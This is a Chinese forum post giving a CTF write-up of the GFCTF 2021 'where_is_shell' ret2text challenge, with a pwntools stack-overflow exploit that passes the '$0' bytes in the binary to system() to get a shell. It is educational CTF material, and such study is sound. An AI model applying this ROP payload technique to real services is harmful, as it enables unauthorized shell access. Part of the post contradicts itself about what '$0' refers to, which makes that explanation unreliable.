首页
社区
课程
招聘
[原创]理解 system($0)
发表于: 2025-8-27 16:47 490

[原创]理解 system($0)

2025-8-27 16:47
490

不重要的前言废话:做到了一个ret2text题,有一个值得稍微深入了解的知识点

先看看题

[GFCTF 2021]where_is_shell

一、新知识点

可以利用system($0)获得shell权限,$0在机器码中为 \x24\x30,而$0指代的就是"/bin/sh"

二、解题

1

看看字符串,shift+F12

2

有system(),无/bin/sh

注意到旁边函数表里有个函数名叫 tips(),有提示

3

看看tips(),发现有一个特殊的机器码 \x24\x30,即 $0,执行system($0),一样可以getshell

4

0x400540:E8

0x400541:24

0x400542::30

在 IDA Pro 中显示机器码(原始字节)

调整反汇编选项

  1. 点击菜单栏的 Options → General...

  2. Disassembly 选项卡下,勾选  "Number of opcode bytes"  并设置要显示的字节数(如 10)

  3. 这样每条指令前都会固定显示机器码

有两种 payload,要么跳转到,call _system,从而避免栈对齐问题,要么跳转到 system@plt,但需要注意栈对齐问题

5

‍和

6

```

from pwn import *
context(os="linux", arch="amd64", log_level="debug")

io = process("./shell")
#io = remote("node4.anna.nssctf.cn", 28968)
pop_rdi_ret = 0x4005e3
shell = 0x400557
shell_plt = 0x400430
bin_sh = 0x400541
ret = 0x400416

#payload = b"a"(0x18) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(shell_plt)

#payload = b"a"
(0x18) + p64(pop_rdi_ret) + p64(bin_sh) + p64(shell)

#gdb.attach(io)
io.sendline(payload)
io.interactive()

```


为什么可以通过system($0)来getshell?

$0代表程序本身,因为之前已经执行过system(),再执行system($0),就可以重新打开shell,调用 system@plt,相当于执行 system(argv[0]),重新以

程序自身作为命令启动,从而获取 shell。

意思就是$0实际上就是程序自己

比如说test.sh的$0就是test.sh

而system函数实际上是让shell创建一个新的进程,交给sh处理,而sh的$0就是shell

shell -c bash

system()函数

shell(Linux/Unix系统) 命令,参数字符串command为命令名

在Linux/Unix系统中,system函数会调用fork函数产生子进程,由子进程来执行command命令,命令执行完后随即返回原调用的进程。

比如说 执行 system("cat /flag"),system()函数执行完参数 cat /flag 后,就会退出当前子进程,无法再进行后续的命令执行。

而 执行 system("/bin/sh"),system()函数 产生子进程 后,执行 /bin/sh == /sh 就会在当前子进程下,再创建一个子进程,相当于打开了一个命令行,

让我们可以进行持续的命令操作。

具体演示一下:

在一个linux系统下,打开一个终端,输入 $0 ,回车,再按 Ctrl + D,退出当前shell会话,会发现我们只是退出了子进程。

0

当我们打开终端时,相当于已经执行了 system(/bin/sh)了,我们在 终端输入的内容,就是 system( ),的参数,输入 $0 会创建一个新的进程,重新运行当前程序或脚本,导致递归执行

或者,为了更加直观的感受在终端 执行 $0 的效果,我们可以 在终端输入 $0 ,再鼠标点击 X ,直接关闭终端,此时会弹出报错!

01

报错信息显示 :我们的终端下 ,正运行着一个 子进程 ,关闭终端 , 会杀死 子进程。

而这个子进程,正是 我们 在终端行 输入 $0 后 ,执行终端程序自身的递归调用 ,即创建一个新的进程,重新运行当前程序或脚本

那如果我们在终端输入 sh ,回车后 ,再输入 exit ,退出当前shell会话,与之前相比,会有什么不一样吗?

02

(为了方便观察,我多输入了一次回车)可以看到,我们在终端执行 sh 会重新启动一个新的交互式 shell 会话,而不是 终端命令行的自身调用。

总结:

1. system("/bin/sh")

作用   直接调用系统的默认 Shell(/bin/sh),启动一个新的交互式 Shell 会话

特点

  • 启动的 Shell 会继承当前进程的权限(如果原进程有 SUID 权限,新 Shell 可能具有高权限)。

  • 用户可在此 Shell 中执行任意命令(如 whoamicat /etc/passwd 等)。

2. system($0)

作用   调用当前程序或脚本自身($0 表示当前程序/脚本的名称),导致递归执行

  • 在 Shell 脚本中,$0 是脚本自身的路径,例如:

    #!/bin/bashsystem($0)  # 重新执行当前脚本(可能导致无限循环)
  • 在 C 语言中,$0 对应 argv[0],即程序名称:

    #include <stdlib.h>int main(int argc, char *argv[]) {    system(argv[0]);  // 递归执行当前程序    return 0;

特点

  • 会创建一个新的进程,重新运行当前程序或脚本。

  • 如果没有终止条件,可能导致无限递归,最终耗尽系统资源(如内存、PID)。

区别:

  • 使用 system("/bin/sh") 是为了获取一个交互式 Shell

  • 使用 system($0) 是为了递归调用程序自身



[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

最后于 2025-8-27 18:44 被Icyice01编辑 ,原因: 文字排版有一些问题
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回